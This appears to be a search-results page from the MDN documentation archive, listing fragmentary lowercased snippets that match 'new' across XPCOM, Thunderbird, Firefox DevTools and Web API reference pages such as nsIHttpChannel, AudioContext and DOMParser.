Components.utils.createObjectIn
components.utils.createobjectin creates a
new javascript object in the scope of the specified object's compartment. this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor. note that this function is now mostly obsolete when you are using sandbox, because you can create an object in a different compartment using
new. for example, to create a
new object in the compartment identified by contentwindow: var
newobject =
new contentwindow.object(); but it is really needeed from firefox 30 onwards when trying to manipulate the dom window. see details in https://blog.mozilla.org/addons/2014/04/10/changes-to-unsafewindow-for-the-add-on-sdk/. ...
...ou can create an object in a different compartment using
new. for example, to create a
new object in the compartment identified by contentwindow: var
newobject =
new contentwindow.object(); but it is really needeed from firefox 30 onwards when trying to manipulate the dom window. see details in https://blog.mozilla.org/addons/2014/04/10/changes-to-unsafewindow-for-the-add-on-sdk/. syntax var
newobject = components.utils.createobjectin(obj, options); parameters obj an object indicating the compartment in which the
new object should be created; the
new object will be created in the scope of this object's compartment. ...
...-on-sdk/. syntax var
newobject = components.utils.createobjectin(obj, options); parameters obj an object indicating the compartment in which the
new object should be created; the
new object will be created in the scope of this object's compartment. options an object containing a single option defineas, which determines the name of the object in the target compartment. return value a
new object in the specified scope. ...
...And 3 more matches
Observer Notifications
observer must not spin event loop. xpcom-shutdown assortment of critical services stop operating. many things will not be available here. web-workers-shutdown called inside xpcom-shutdown. this shuts down all web workers. xpcom-shutdown-threads shuts down the thread manager, causing all nsthreads to finish processing any events already queued and stop accepting
new events. browser these topics indicate interesting things that happen that the browser alerts you to. topic description browser:purge-session-history sent when the sanitizer runs to purge all history and other information. browser:purge-domain-data sent after domain-specific history and other information have been purged. the data value is a string form...
...ell. see inner and outer windows for details about how the window hierarchy works. extensions that cache information about windows may wish to observe this so they can release information when the window is destroyed. the window id can be obtained from subject.queryinterface(components.interfaces.nsisupportspruint64).data toplevel-window-ready nsiwindowwatcher called just after a
new top level window has been opened and is ready, but has not yet loaded a document. xul-window-destroyed called just before a xul window is destroyed. xul-window-registered nsiappwindow called just after a top level xul window is registered with the window mediator service. xul-window-visible nsiappwindow called just after a xul window is made visible. ...
... to go offline can be canceled. note: if your code chooses to cancel the attempt to go offline, it must notify the user. network:offline-about-to-go-offline called just before all network io is taken offline. network:offline-status-changed called when the offline state has changed. note: the data value for this notification 'offline' or 'online' to indicate the
new state. network:link-status-changed called when the network link status changes. http requests these are the topics that you can observe during a http request (see setting http request headers and creating sandboxed http connections). both are passed an nsihttpchannel as the subject parameter. topic description http-on-modify-request called as a ht...
...And 3 more matches
IAccessibleText
ult attributes([in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); [propget] hresult caretoffset([out] long offset ); [propget] hresult characterextents([in] long offset, [in] enum ia2coordinatetype coordtype, [out] long x, [out] long y, [out] long width, [out] long height ); [propget] hresult ncharacters([out] long ncharacters ); [propget] hresult
newtext([out] ia2textsegment
newtext ); [propget] hresult nselections([out] long nselections ); [propget] hresult offsetatpoint([in] long x, [in] long y, [in] enum ia2coordinatetype coordtype, [out] long offset ); [propget] hresult oldtext([out] ia2textsegment oldtext ); hresult removeselection([in] long selectionindex ); hresult scrollsubstringto([in] long startindex, [in] long endindex, [...
...t] bstr text ); [propget] hresult textbeforeoffset([in] long offset, [in] enum ia2textboundarytype boundarytype, [out] long startoffset, [out] long endoffset, [out] bstr text ); methods addselection() adds a text() selection(). hresult addselection( [in] long startoffset, [in] long endoffset ); parameters startoffset starting offset ( 0 based). endoffset offset of first character after
new selection() (0 based). return value e_invalidarg if bad [in] passed. s_ok. attributes() returns text() attributes. [propget] hresult attributes( [in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); parameters offset text() offset (0 based) startoffset the starting offset of the character range over which all text() attributes match those of offse...
...f the referenced character. width width of the bounding box of the referenced character. height height of the bounding box of the referenced character. return value e_invalidarg if bad [in] passed, [out] values are 0s. s_ok. ncharacters() returns total number of characters. [propget] hresult ncharacters( [out] long ncharacters ); parameters ncharacters missing description return value s_ok.
newtext() returns any inserted text(). provided for use by the ::ia2_event_text_inserted and ::ia2_event_text_updated event handlers. this data is only guaranteed to be valid while the thread notifying the event continues. once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects. also, note that the server may have different life cycle ma...
...And 3 more matches
nsIAccessibleRetrieval
astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdomstringlist getstringstates(in unsigned long astates, in unsigned long aextrastates); methods getaccessiblefor() return an nsiaccessible for a dom node in pres shell 0. ...
...nsiaccessible getaccessibleinshell( in nsidomnode anode, in nsipresshell apresshell ); parameters anode the dom node to get an accessible for. apresshell the presentation shell which contains layout info for the dom node. ...
...eters anode the dom node to get an accessible for. apresshell the presentation shell which contains layout info for the dom node. return value the nsiaccessible for the given dom node. getaccessibleinweakshell() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) return an nsiaccessible for a dom node in the given weak shell. create a
new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists. nsiaccessible getaccessibleinweakshell( in nsidomnode anode, in nsiweakreference apresshell ); parameters anode the dom node to get an accessible for. apresshell the presentation shell which contains layout info for the dom node. return value the nsiaccessible for ...
...And 3 more matches
nsIHttpChannel
tp request parameters and the inspection of the resulting http response status and headers when they become available. ...
...= ios.
newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); boolean isnocacheresponse(); boolean isnostoreresponse(); void redirectto(in nsiuri a
newuri); void setemptyrequestheader(in acstring aheader); void setreferrerwithpolicy(in nsiuri referrer, in unsigned long referrerpolicy); void setrequestheader(in acstring aheader, in acstring avalue, in boolean amerge); void setresponseheader(in acstring header, in acstring value, in boolean merge); void visitoriginalresponseheaders(in nsihttpheadervi...
... is opened. exceptions thrown ns_error_failure if set after the channel has been opened. redirectionlimit unsigned long this attribute specifies the number of redirects this channel is allowed to make. if zero, the channel will fail to redirect and will generate a ns_error_redirect_loop failure status. note: an http redirect results in a
new channel being created. if the
new channel supports nsihttpchannel, then it will be assigned a value to its redirectionlimit attribute one less than the value of the redirected channel's redirectionlimit attribute. the initial value for this attribute may be a configurable preference (depending on the implementation). referrer nsiuri get or set the uri of the http refe...
...And 3 more matches
nsILocaleService
note: this has nothing to do with the locale used for localization of the application (ui text strings and so on.). this method returns something similar to getsystemloca...
...note: this has nothing to do with the locale used for localization of the application (ui text strings and so on.). this method returns something similar to getsystemlocale. nsilocale getapplicationlocale(); parameters ...
...ring acceptlanguage ); parameters acceptlanguage locale preference in the same format as the accept-language http header. return value the most preferred locale according to the acceptlanguage parameter. getsystemlocale() gets the user preference for locale from the operating system. nsilocale getsystemlocale(); parameters none. return value the user's os setting for preferred locale. ...
...And 3 more matches
Building an Account Manager Extension
step 1: implementing nsiaccountmanagerextension as first step we have to implement the nsiaccountmanagerextension. we name the extension "devmo-account" and state that it is located in the chrome package "example@mozilla.org". furthermore we show the
new panel only for imap accounts... components.utils.import("resource://gre/modules/xpcomutils.jsm"); //class constructor function devmoaccountmanagerextension() {}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account", chromepackagename : "example@mozilla.org", showpanel: function(server) { //this panel is only shown for imap accounts... if (server.type == \"imap\") return true; return false; }, queryinterface: xpcomutils.generateqi([ ...
...{659ce960-9dfb-11dd-ad8b-0800200c9a55}"); // ... the description and ... devmoaccountmanagerextension.prototype.classdescription = "devmo account manager extension"; // ... textual unique identifier or rendez-vous point in the category manager. ...
...ssdescription = "devmo account manager extension"; // ... textual unique identifier or rendez-vous point in the category manager. devmoaccountmanagerextension.prototype.contractid = "@mozilla.org/accountmanager/extension;1?name=example@mozilla.org"; // add the component to the mail
news-accountmanager-extensions category devmoaccountmanagerextension.prototype._xpcom_categories: [{ category: "mail
news-accountmanager-extensions" }], // create entry point for the module if (xpcomutils.generatensgetfactory) var nsgetfactory = xpcomutils.generatensgetfactory([devmoaccountmanagerextension]); else var nsgetmodule = xpcomutils.generatensgetmodule([devmoaccountmanagerextension]); step3: create the
new panel as next step we create the xul and the property file for your
new panel. we defined i...
...And 3 more matches
nsIMsgMessageService
out nsiuri aurl); parameters asrcuri the string url of the message to copy. acopylistener an nsistreamlistener to be notified of copy events. amovemessage set to true if you want the message to be moved. false leaves it as just a copy. aurllistener a nsiurllistener to be notified of url events. amsgwindow nsimsgwindow for progress and status feedback return values aurl the
new nsiuri of the message. copymessages() copy multiple messages at a time. see copymessage [noscript] void copymessages(in nsmsgkeyarrayptr keys, in nsimsgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, ...
... out nsiuri aurl); parameters keys an array of message keys to be copied. srcfolder acopylistener an nsistreamlistener to be notified of copy events. amovemessage set to true if you want the message to be moved. false leaves it as just a copy. aurllistener an nsiurllistener amsgwindow nsimsgwindow for progress and status feedback return values aurl the
new nsiuri of the message. (?) displaymessage() when you want a message displayed.... void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); parameters amessageu...
...de, out nsiuri aurl); parameters amessageuri a uri representing the message to display. adisplayconsumer is (for now) an nsidocshell which the message is loaded into. amsgwindow nsimsgwindow for progress and status feedback aurllistener an nsiurllistener acharsetoverride (optional) character set over ride to force the message to use. return values aurl the
new nsiuri of the message. openattachment() downloads and opens an attachment. void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllisten...
...And 3 more matches
nsIPluginHost
ive code only! nsistreamlistener instantiatepluginforchannel(in nsichannel achannel, in nsiplugininstanceowner aowner); native code only! void ispluginenabledforextension(in string aextension, in constcharstarref amimetype); native code only! void ispluginenabledfortype(in string amimetype); native code only! void loadplugins(); native code only! void
newpluginnativewindow(out nspluginnativewindowptr apluginnativewindow); native code only! void parsepostbuffertofixheaders(in string ainpostdata, in unsigned long ainpostdatalen, out string aoutpostdata, out unsigned long aoutpostdatalen); native code only! void reloadplugins(in boolean reloadpages); void setisscriptableinstance(in nsiplugininstance ainstance, in boolean...
...some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. to create temp file with content len header in, it will use by http post. void createtmpfiletopost( in string apostdataurl, out string atmpfilename ); parameters apostdataurl atmpfilename native code only!deletepluginnativewindow deletes plugin native window object created by
newpluginnativewindow(). void deletepluginnativewindow( in nspluginnativewindowptr apluginnativewindow ); parameters apluginnativewindow native code only!destroy void destroy(); parameters none. native code only!findproxyforurl fetches a url. (corresponds to npn_geturl and npn_geturlnotify.) posts to a url with post data and/or post headers. (corresponds to npn_posturl and npn...
... native code only!ispluginenabledforextension void ispluginenabledforextension( in string aextension, in constcharstarref amimetype ); parameters aextension amimetype native code only!ispluginenabledfortype void ispluginenabledfortype( in string amimetype ); parameters amimetype native code only!loadplugins void loadplugins(); parameters none. ...
...And 3 more matches
nsIProtocolProxyService
= components.classes["@mozilla.org/network/protocol-proxy-service;1"] .getservice(components.interfaces.nsiprotocolproxyservice); method overview deprecated since gecko 18 nsiproxyinfo resolve(in nsiuri auri, in unsigned long aflags); nsicancelable asyncresolve(in nsiuri auri, in unsigned long aflags,in nsiprotocolproxycallback acallback); nsiproxyinfo
newproxyinfo(in acstring atype, in autf8string ahost,in long aport, in unsigned long aflags, in unsigned long afailovertimeout, in nsiproxyinfo afailoverproxy); nsiproxyinfo getfailoverforproxy(in nsiproxyinfo aproxyinfo, in nsiuri auri, in nsresult areason); void registerfilter(in nsiprotocolproxyfilter afilter, in unsigned long aposition); void unregisterfilter(in nsiprot...
...given uri. otherwise, this method returns null indicating that a direct connection should be used. if this proxy is unavailable, getfailoverforproxy() may be called to determine the correct secondary proxy to be used. if the protocol handler for the given uri supports nsiproxiedprotocolhandler, then the nsiproxyinfo instance returned from resolve may be passed to the nsiproxiedprotocolhandler.
newproxiedchannel() method to create a nsichannel to the given uri that uses the specified proxy. however, if the nsiproxyinfo type is "http", then it means that the given uri should be loaded using the http protocol handler, which also supports nsiproxiedprotocolhandler. nsiproxyinfo resolve( in nsiuri auri, in unsigned long aflags ); parameters auri the uri to test. aflags a bit-w...
...r null for a direct connection. note: if pac is configured, and the pac file has not yet been loaded, then this method will return a nsiproxyinfo instance with a type of "unknown" to indicate to the consumer that asyncresolve should be used to wait for the pac file to finish loading. otherwise, the consumer may choose to treat the result as type "direct" if desired. see nsiproxiedprotocolhandler.
newproxiedchannel(). asyncresolve() this method is an asychronous version of the resolve method. unlike resolve, this method is guaranteed not to block the calling thread waiting for dns queries to complete. this method is intended as a substitute for resolve when the result is not needed immediately. nsicancelable asyncresolve( in nsiuri auri, in unsigned long aflags, in nsiprotocolpro...
...And 3 more matches
Reference Manual
act same size and shape as a raw xpcom interface pointer. it can be used as a member variable without introducing bloat. most of the work of being an owning reference can be done in the constructor, destructor, and assignment operators of nscomptr. whenever you `point' the nscomptr at a different xpcom object (by assignment or initialization), it must release its old value, if any, and addref the
new. at its own destructor time it must release as well. nscomptr only does exactly the work you would have done, if you always remembered to do the right thing. safety features type safeguards it is an invariant of nscomptr that it holds the xpcom-correct interface pointer for it's underlying type. for example, an nscomptr<nsifoo> will always hold the pointer that would be returned by queryinterface...
..._feature_debug_ptr_types, else some parts will be expecting a base class and others will not. the app will not link. unit tests the unit tests for nscomptr can be found in the file /xpcom/tests/testcomptr.cpp initialization and assignment built-in forms assignment into, or initialization of an nscomptr is easy to understand. the nscomptr releases its old value, if any, and then assigns in the
new value, addrefing it and/or calling queryinterface as you direct by "annotating" the assignment with directives like dont_addref. this section describes each of the possibilities, though the directives can be more succinctly described in the table below. you can construct an nscomptr from, or assign into it any of the following the value 0 another nscomptr of the same type a raw xpcom inter...
...tations described in the table apply to both forms of constructor, // and to plain-old assignment any of the annotations shown in the table can appear in all the positions demonstrated with dont_addref. the sections that follow describe each possibility. nscomptr<t> = t*, nscomptr<t> = dont_queryinterface( t* ) the default behavior, shown in the table as t*, is to addref the
new value, but not to call queryinterface against it. this is what happens when no `annotation' is present, e.g., nscomptr<nsifoo> foo( afooptr ); // or foo = afooptr; // ...will call |addref| but not |queryinterface| // a more explicit synonym for this is... nscomptr<nsifoo> foo( dont_queryinterface(afooptr) ); // or foo = dont_queryinterface(afooptr); ...
...And 3 more matches
XPCOM
interfaces in several mozilla products.aggregating the in-memory datasourcealready_addrefedalready_addrefed in association with nscomptr allows you to assign in a pointer without addrefing it.binary compatibilityif mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any built component may fail. it is a possiblity that is introduced when upgrading to a
new compiler without recompiling everything. effectively, it is a different platform.bundling multiple binary componentsbinary xpcom components are sometimes required to implement low-level features for extensions. since binary components are linked against a single gecko sdk, a dependency to a particular version of gecko is created. if the component uses only "frozen" xpcom interfaces, there is a go...
...e extensions and themes—that were created prior to firefox 1.5. add-ons can (and should) be identified with ids of the form extensionname@organization.tld since firefox 1.5.generic factorymost xpcom factories can be very simple. rick potts wrote a templated-based generic factory (nsfactory<t>) that simplifies the factory creation process that just requires writing a createinstance() method. the
new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed. here is the interface, and a description of its use.</t>how to build a binary xpcom component using visual studiothis is a simple tutorial for building xpcom objects in c++ using visual studio. xpcom is mozilla’s cross platform compon...
... in c++ using visual studio. xpcom is mozilla’s cross platform component object model, similar to microsoft’s com technology. xpcom components can be implemented in c, c++, and javascript, and can be used from c, c++, and javascript. that means you can call javascript methods from c++ and vice versa. ...
...And 3 more matches
nsIMsgCloudFileProvider
nsimsgcloudfileprovider is the interface that must be implemented by
new filelink providers. ...
...in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void create
newaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsirequestobserver acallback); acstring providerurlforerror(in unsigned long aerror); attributes attribute type description type ...
...to delete a file that had previously been uploaded using this instance. void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was previously uploaded using this nsimsgcloudfileprovider instance that should be deleted. acallback the nsirequestobserver for monitoring the start and stop states of the delete operation. ...
...And 3 more matches
Gloda examples
some examples for using gloda. see creating a gloda message query for more examples. ...
... alert(conv.subject); } } catch (e) {} } } glodamessage.conversation.getmessagescollection(alistener) alternatively if you need to get a conversation based on the subject, you need to do a query (using the same listener as above). if you search for a message based on subject, use noun_message instead of noun_conversation and modify the listener accordingly. ...
...ner as above). if you search for a message based on subject, use noun_message instead of noun_conversation and modify the listener accordingly. ...
...And 3 more matches
PointerType
read only. ...
...read only. ...
...read only. ...
...And 3 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each
new object with the javascript call stack at which it was allocated. it can log all object allocations, yielding a stream of javascript call stacks at which allocations have occurred. it can compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. ifdbg is a debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees’ memory use. ...
...nging to the debuggee, categorizing items in various ways, and yielding item counts. ifdbg is a debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees’ memory use. the dbg.memory object is an instance of debugger.memory; its inherited accesors and methods are described below. allocation site tracking the javascript engine marks each
new object with the call stack at which it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some debugger instancedbg; and dbg.memory.trackingallocationsites is set to true. a bernoulli trial succeeds, with probability equal to the maximum of d.memory.allocationsamplingprobability of all debugger instances d that are observing the glob...
...whether this debugger.memory instance is capturing the javascript execution stack when each object is allocated. this accessor property has both a getter and setter: assigning to it enables or disables the allocation site tracking. reading the accessor produces true if the debugger is capturing stacks for object allocations, and false otherwise. ...
...And 3 more matches
Edit fonts - Firefox Developer Tools
page inspector when it is docked to the bottom of the screen. when it is docked to the right or left sides of the screen, the fonts tab appears beneath the html pane. to access it: open the page inspector. select the fonts tab; the last of the tabs shown in the right-hand side of the css pane. the fonts tab has three major sections: "fonts used" by the currently inspected element. the
new fonts editor. in firefox 61 and 62, this section does not exist. "all fonts on page" — this section lists all of the fonts in use on the page. in firefox 61 and 62, this area is labeled "other fonts in page" and doesn't include the fonts mentioned in the "fonts used" section. fonts used the top section of the font editor shows the fonts used by the currently inspected element, grouped by fo...
...he inspected element that has the font applied to it. empty elements will not have any fonts used and will display the message "no fonts were found for the current element." fonts will be included in this section for one of the following reasons: they are listed in the element's font-family css declaration value. ...
... for standard (static) fonts, you will be able to change the settings listed below size the font-size for the inspected element. this can be set using em, rem, %, px, vh, or vw units. you can select values using the slider or enter a numeric value directly into the text box. ...
...And 3 more matches
Examine and edit HTML - Firefox Developer Tools
onents.shadowdom.enabled pref until firefox 63. it is now turned on by default. element popup context menu you can perform certain common tasks on a specific node using a popup context menu. to activate this menu, context-click the element. the menu contains the following items — click on the links to find the description of each command in the context menu reference: edit as html create
new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ... subtree modification attribute modification node removal use in console show dom properties show accessibility properties change pseudo-class hover active focus focus-within visited screenshot node scroll i...
... context menu reference edit as html edit the element's html. (copy) inner html copy the inner html for the element. ...
...ard contents into the document as the last child of this node. scroll into view scrolls the web page so the selected node is visible. from firefox 44, pressing the keyboard shortcut s will also scroll the selected node into view. screenshot node takes a screenshot of the selected node, saved to your downloads directory. see taking screenshots. create
new node create a
new empty <div> as the last child of the currently selected element. see inserting
new nodes. duplicate node create a copy of this element, and insert the copy immediately after this element. delete node delete the element from the dom. attribute/add attribute add an attribute to the element. attribute/edit attribute (only when invo...
...And 3 more matches
AbstractRange - Web APIs
the end point is set to be the middle of the first child of the span, and then the range is used to copy the contents of the range. ranges and the hierarchy of the dom in order to define a range of characters within a document in a way that is able to span across zero or more node b...
... let fragment = r.clonecontents(); here an interesting problem arises—we are capturing content from multiple nodes located at different levels of the dom hierarchy, and then only part of one of them. what should the result look like? as it turns out, the dom specification fortunately addresses this exact issue. ...
...so will the text node containing the word "a", since that's included in the range. finally, an <em> and a text node below it will be added below the <p> as well. ...
...And 3 more matches
AnalyserNode.getFloatFrequencyData() - Web APIs
s the decibel value for a specific frequency. the frequencies are spread linearly from 0 to 1/2 of the sample rate. for example, for 48000 sample rate, the last item of the array will represent the decibel value for 24000 hz. if you need higher performance and don't care about precision, you can use analysernode.getbytefrequencydata() instead, which works on a uint8array. syntax var audioctx =
new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray =
new float32array(analyser.frequencybincount); // float32array should be the same length as the frequencybincount void analyser.getfloatfrequencydata(dataarray); // fill the float32array with data returned from getfloatfrequencydata() parameters array the float32array that the frequency domain data will be copied to. ...
...turned from getfloatfrequencydata() parameters array the float32array that the frequency domain data will be copied to. for any sample which is silent, the value is -infinity. if the array has fewer elements than the analysernode.frequencybincount, excess elements are dropped. if it has more elements than needed, excess elements are ignored. return value none. ...
...ilent, the value is -infinity. if the array has fewer elements than the analysernode.frequencybincount, excess elements are dropped. if it has more elements than needed, excess elements are ignored. return value none. example const audioctx =
new audiocontext(); const analyser = audioctx.createanalyser(); // float32array should be the same length as the frequencybincount const mydataarray =
new float32array(analyser.frequencybincount); // fill the float32array with data returned from getfloatfrequencydata() analyser.getfloatfrequencydata(mydataarray); drawing a spectrum the following example shows basic usage of an audiocontext to connect a mediaelementaudiosourcenode to an analysernode. while the audio is playing, we collect the frequency data repeatedly with requestanimationframe()...
...And 3 more matches
AudioContext.createMediaStreamDestination() - Web APIs
the createmediastreamdestination() method of the audiocontext interface is used to create a
new mediastreamaudiodestinationnode object associated with a webrtc mediastream representing an audio stream, which may be stored in a local file or sent to another computer. the mediastream is created when the node is created and is accessible via the mediastreamaudiodestinationnode's stream attribute. this stream can be used in a similar way as a mediastream obtained via navigator.getusermedia — it can, for example, be sent to a remote peer using the rtcpeerconnection addstream() method. for more details about media stream destination nodes, check out the mediastreamaudiodestinationnode reference page. ...
...sible via the mediastreamaudiodestinationnode's stream attribute. this stream can be used in a similar way as a mediastream obtained via navigator.getusermedia — it can, for example, be sent to a remote peer using the rtcpeerconnection addstream() method. for more details about media stream destination nodes, check out the mediastreamaudiodestinationnode reference page. syntax var audioctx =
new audiocontext(); var destination = audioctx.createmediastreamdestination(); returns a mediastreamaudiodestinationnode. examples in the following simple example, we create a mediastreamaudiodestinationnode, an oscillatornode and a mediarecorder (the example will therefore only work in firefox and chrome at this time.) the mediarecorder is set up to record information from the mediastreamdestina...
...the mediarecorder is set up to record information from the mediastreamdestinationnode. when the button is clicked, the oscillator starts, and the mediarecorder is started. when the button is stopped, the oscillator and mediarecorder both stop. stopping the mediarecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array. after that, the stop event fires, a
new blob is made of type opus — which contains the data in the chunks array, and a
new window (tab) is then opened that points to a url created from the blob. from here, you can play and save the opus file. <!doctype html> <html> <head> <title>createmediastreamdestination() demo</title> </head> <body> <h1>createmediastreamdestination() demo</h1> <p>encoding a pure sine wave to ...
...And 3 more matches
AudioWorkletProcessor() - Web APIs
the object is based on audioworkletnodeoptions dictionary. ...
...the object is based on audioworkletnodeoptions dictionary. ...
...a that can be used for custom initialization of the underlying audioworkletprocessor. note that there are default values for the first two properties, so even if there are no options object passed to the audioworkletnode constructor, the options object passed by the node to the audioworkletprocessor constructor will exist and at minimum have numberofinputs and numberofoutputs. return value the
newly constructed audioworkletprocessor instance. example in this example we pass custom options to the audioworkletnode constructor and observe how a structured clone of them gets passed to our audioworkletprocessor constructor. first, we need to define a custom audioworkletprocessor and register it. note that this should be done in a separate file. // test-processor.js class testprocessor exten...
...And 3 more matches
CanvasRenderingContext2D - Web APIs
s> element to work with: <canvas id="my-house" width="300" height="300"></canvas> to get the canvas' 2d rendering context, call getcontext() on the <canvas> element, supplying '2d' as the argument: const canvas = document.getelementbyid('my-house'); const ctx = canvas.getcontext('2d'); with the context in hand, you can draw anything you like. this code draws a house: // set line width ctx.li
newidth = 10; // wall ctx.strokerect(75, 140, 150, 110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that immediately draw rectangles to the canvas. canvasrenderingcontext2d.clearrec...
... for text properties. canvasrenderingcontext2d.filltext() draws (fills) a given text at the given (x, y) position. canvasrenderingcontext2d.stroketext() draws (strokes) a given text at the given (x, y) position. canvasrenderingcontext2d.measuretext() returns a textmetrics object. line styles the following methods and properties control how lines are drawn. canvasrenderingcontext2d.li
newidth width of lines. default 1.0. canvasrenderingcontext2d.linecap type of endings on the end of lines. possible values: butt (default), round, square. canvasrenderingcontext2d.linejoin defines the type of corners where two lines meet. possible values: round, bevel, miter (default). canvasrenderingcontext2d.miterlimit miter limit ratio. default 10. canvasrenderingcontext2d.getlinedash() r...
...ontext2d.shadowcolor color of the shadow. default: fully-transparent black. canvasrenderingcontext2d.shadowoffsetx horizontal distance the shadow will be offset. default: 0. canvasrenderingcontext2d.shadowoffsety vertical distance the shadow will be offset. default: 0. paths the following methods can be used to manipulate paths of objects. canvasrenderingcontext2d.beginpath() starts a
new path by emptying the list of sub-paths. call this method when you want to create a
new path. canvasrenderingcontext2d.closepath() causes the point of the pen to move back to the start of the current sub-path. it tries to draw a straight line from the current point to the start. if the shape has already been closed or has only one point, this function does nothing. canvasrenderingcontext2d.move...
...And 3 more matches
DOMImplementation.createHTMLDocument() - Web APIs
the domimplementation.createhtmldocument() method creates a
new html document. syntax const
newdoc = document.implementation.createhtmldocument(title) parameters title optional (except in ie) a domstring containing the title to give the
new html document. example this example creates a
new html document and inserts it into an <iframe> in the current document. ...
...ax const
newdoc = document.implementation.createhtmldocument(title) parameters title optional (except in ie) a domstring containing the title to give the
new html document. example this example creates a
new html document and inserts it into an <iframe> in the current document. ...
...nt. ...
...And 3 more matches
DOMParser - Web APIs
xml or html source code from a string into a dom document. note: xmlhttprequest can parse xml and html directly from a url-addressable resource, returning a document in its response property. you can perform the opposite operation—converting a dom tree into xml or html source—using the xmlserializer interface. ...
...n—converting a dom tree into xml or html source—using the xmlserializer interface. in the case of an html document, you can also replace portions of the dom with
new dom trees built from html by setting the value of the element.innerhtml and outerhtml properties. these properties can also be read to fetch html fragments corresponding to the corresponding dom subtree. syntax let domparser =
new domparser() methods domparser.parsefromstring() syntax let doc = domparser.parsefromstring(string, mimetype) return either document or xmldocument depending on the mimetype argument. parameters this method has 2 parameters (both required): string the domstring to be parsed. it must contain either html, xml, xhtml+xml, or svg document. mimetype a domstring. this string determ...
...mimetype doc.constructor text/html document text/xml xmldocument application/xml xmldocument application/xhtml+xml xmldocument image/svg+xml xmldocument examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser =
new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an error document: <parsererror xmlns="http://www.mozilla.org/
newlayout/xml/parsererror.xml"> (error description) <sourcetext>(a snippet of the source xml)</sourcetext> </parsererror...
...And 3 more matches
HTMLCanvasElement.mozGetAsFile() - Web APIs
andard, firefox-specific the htmlcanvaselement method mozgetasfile() returns a memory-based file object representing the image contained in the canvas. syntax canvas.mozgetasfile(name, type); parameters name a domstring indicating the file name to give the file representing the image file in memory. type optional a domstring which specifies the image file format to use when creating the
new image file. the default type is image/png. for other options, see our image file type and format guide. return value a file object representing the image contained in the canvas. the file's data is entirely located in memory until such time as it is explicitly written to disk. examples this example creates an image file from the <canvas> element on the page, then uses a filereader to read t...
...page, then uses a filereader to read the image data from the file. html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data url using the readasdataurl() method. then a
new <img> element is created using the
new data url. function draw() { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 55, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 55, 50); var link = document.getelementbyid('link'); link.addeventlistener('click', copy); } function c...
... ...
...And 3 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
n contexts note: the details here are generally not important to most javascript programmers. this information is provided as a basis for why microtasks are useful and how they function; if you don't care, you can skip this and come back later if you find that you need to. when a fragment of javascript code runs, it runs inside an execution context. there are three types of code that create a
new execution context: the global context is the execution context created to run the main body of your code; that is, any code that exists outside of a javascript function. each function is run within its own execution context. this is frequently referred to as a "local context." using the ill-advised eval() function also creates a
new execution context. each context is, in essence, a level o...
...o run the main body of your code; that is, any code that exists outside of a javascript function. each function is run within its own execution context. this is frequently referred to as a "local context." using the ill-advised eval() function also creates a
new execution context. each context is, in essence, a level of scope within your code. as one of these code segments begins execution, a
new context is constructed in which to run it; that context is then destroyed when the code exits. consider the javascript program below: let outputelem = document.getelementbyid("output"); let userlanguages = { "mike": "en", "teresa": "es" }; function greetuser(user) { function localgreeting(user) { let greeting; let language = userlanguages[user]; switch(language) { case...
...ration. by using the contexts and the context stack in this manner, many of the fundamentals of how a program operates can be managed, including local and global variables, function calls and returns, and so forth. a special note about recursive functions—that is, functions which call themselves, possibly over multiple levels of depth or recursion: each recursive call to the function creates a
